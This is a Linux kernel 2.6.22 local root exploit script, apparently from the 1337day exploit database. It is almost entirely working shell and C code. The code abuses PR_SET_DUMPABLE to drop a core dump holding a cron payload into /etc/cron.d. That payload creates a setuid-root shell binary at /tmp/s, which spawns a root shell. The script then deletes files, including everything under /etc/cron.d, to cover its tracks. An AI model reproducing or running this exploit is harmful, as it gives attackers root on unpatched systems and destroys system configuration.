Linux Kernel 2.6.22 Local root Exploit

1. #!/bin/sh
2. =======================================
3. Linux Kernel 2.6.22 Local root Exploit
4. =======================================
5. 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
6. 0     _                   __           __       __                     1
7. 1   /' \            __  /'__`\        /\ \__  /'__`\                   0
8. 0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
9. 1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
10. 0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
11. 1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
12. 0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
13. 1                  \ \____/ >> Exploit database separated by exploit   0
14. 0                   \/___/          type (local, remote, DoS, etc.)    1
15. 1                                                                      1
16. 0  [+] Site            : 1337day.com                                   0
17. 1  [+] Support e-mail  : submit[at]1337day.com                         1
18. 0                                                                      0
19. 1               #########################################              1
20. 0               I'm Angel Injection member from Inj3ct0r Team          1
21. 1               #########################################              0
22. 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
23. ########################################################################
24. cat > /tmp/getsuid.c << __EOF__
25. #include <stdio.h>
26. #include <sys/time.h>
27. #include <sys/resource.h>
28. #include <unistd.h>
29. #include <linux/prctl.h>
30. #include <stdlib.h>
31. #include <sys/types.h>
32. #include <signal.h>
33. 
    
34. char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f /etc/cron.d/core\n";
35. 
    
36. int main() {
37.     int child;
38.     struct rlimit corelimit;
39.     corelimit.rlim_cur = RLIM_INFINITY;
40.     corelimit.rlim_max = RLIM_INFINITY;
41.     setrlimit(RLIMIT_CORE, &corelimit);
42.     if ( !( child = fork() )) {
43.         chdir("/etc/cron.d");
44.         prctl(PR_SET_DUMPABLE, 2);
45.         sleep(200);
46.         exit(1);
47.     }
48.     kill(child, SIGSEGV);
49.     sleep(120);
50. }
51. __EOF__
52. 
    
53. cat > /tmp/s.c << __EOF__
54. #include<stdio.h>
55. main(void)
56. {
57. setgid(0);
58. setuid(0);
59. system("/bin/sh");
60. system("rm -rf /tmp/s");
61. system("rm -rf /etc/cron.d/*");
62. return 0;
63. }
64. __EOF__
65. echo "wait aprox 4 min to get sh"
66. cd /tmp
67. cc -o s s.c
68. cc -o getsuid getsuid.c
69. ./getsuid
70. ./s
71. rm -rf getsuid*
72. rm -rf s.c
73. rm -rf prctl.sh
74. 
    
75. 
    
76. # 1337day.com [2011-10-06]